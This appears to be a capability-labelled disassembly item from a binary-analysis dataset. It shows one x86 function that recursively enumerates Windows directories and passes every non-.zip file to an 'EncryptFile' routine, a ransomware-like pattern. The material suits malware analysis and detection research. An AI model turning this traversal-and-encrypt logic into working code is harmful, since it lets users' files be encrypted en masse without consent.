Function at 0x401f40
Capabilities:
Enumerate files on windows
Enumerate files recursively

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x184
mov eax, dword [0x43c01c]
xor eax, esp
mov dword [esp + 0x180], eax
push ebx
push esi
mov esi, ecx
mov ebx, esi
mov dword [esp + 8], esi
push edi
lea ecx, [ebx + 1]
mov al, byte [ebx]
inc ebx
test al, al
jne 0x401f68
lea eax, [esp + 0x18]
sub ebx, ecx
push eax
push esi
call fcn.0041dbd5
add esp, 8
test eax, eax
jne 0x402164
mov eax, dword [esp + 0x1e]
test eax, 0x4000
je 0x402112
lea eax, [ebx + 4]
push eax
call fcn.00417fde
add esp, 4
mov edi, eax
mov dword [esp + 0x14], edi
push ebx
push esi
push edi
call fcn.00418dd0
add esp, 0xc
mov dword [edi + ebx], 0x2a5c
lea eax, [esp + 0x48]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov edi, eax
mov dword [esp + 0x10], edi
cmp edi, 0xffffffff
je 0x4020e1
mov edx, 0x439df0
lea ecx, [esp + 0x74]
nop
mov al, byte [ecx]
cmp al, byte [edx]
jne 0x402000
test al, al
je 0x401ffc
mov al, byte [ecx + 1]
cmp al, byte [edx + 1]
jne 0x402000
add ecx, 2
add edx, 2
test al, al
jne 0x401fe0
xor eax, eax
jmp 0x402005
sbb eax, eax
or eax, 1
test eax, eax
je 0x4020a3
mov eax, 0x439df4
lea ecx, [esp + 0x74]
mov dl, byte [ecx]
cmp dl, byte [eax]
jne 0x402036
test dl, dl
je 0x402032
mov dl, byte [ecx + 1]
cmp dl, byte [eax + 1]
jne 0x402036
add ecx, 2
add eax, 2
test dl, dl
jne 0x402016
xor eax, eax
jmp 0x40203b
sbb eax, eax
or eax, 1
test eax, eax
je 0x4020a3
lea edi, [esp + 0x74]
lea ecx, [edi + 1]
mov al, byte [edi]
inc edi
test al, al
jne 0x402046
sub edi, ecx
lea eax, [ebx + 2]
add eax, edi
push eax
call fcn.00417fde
add esp, 4
mov esi, eax
push ebx
push dword [esp + 0x10]
push esi
call fcn.00418dd0
add esp, 0xc
mov byte [esi + ebx], 0x5c
lea eax, [esp + 0x74]
push edi
push eax
lea eax, [ebx + 1]
add eax, esi
push eax
call fcn.00418dd0
add esp, 0xc
lea eax, [esi + edi]
mov ecx, esi
mov byte [eax + ebx + 1], 0
call fcn.00401f40
push 1
push esi
call fcn.00417fd0
mov edi, dword [esp + 0x18]
add esp, 8
lea eax, [esp + 0x48]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x401fd5
push edi
call dword [sym.imp.KERNEL32.dll_FindClose]
push 1
push dword [esp + 0x18]
call fcn.00417fd0
add esp, 8
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x180]
xor ecx, esp
call fcn.00417f8c
mov esp, ebp
pop ebp
ret
push esi
push str._s_Error_opening_directory_n
call fcn.00401010
add esp, 8
push 1
push dword [esp + 0x18]
call fcn.00417fd0
add esp, 8
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x180]
xor ecx, esp
call fcn.00417f8c
mov esp, ebp
pop ebp
ret
test eax, 0x8000
je 0x40215c
push 4
lea eax, [esi - 4]
add eax, ebx
push str..zip
push eax
call fcn.0041bf19
add esp, 0xc
test eax, eax
jne 0x402172
push esi
push str.EncryptFile:__s_n
call fcn.00401010
add esp, 8
mov ecx, esi
call fcn.004012c0
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x180]
xor ecx, esp
call fcn.00417f8c
mov esp, ebp
pop ebp
ret
push esi
push str._s_stat_is_something_n
jmp 0x40216a
push esi
push str._s_Failed_to_get_stat_n
call fcn.00401010
add esp, 8
mov ecx, dword [esp + 0x18c]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.00417f8c
mov esp, ebp
pop ebp
ret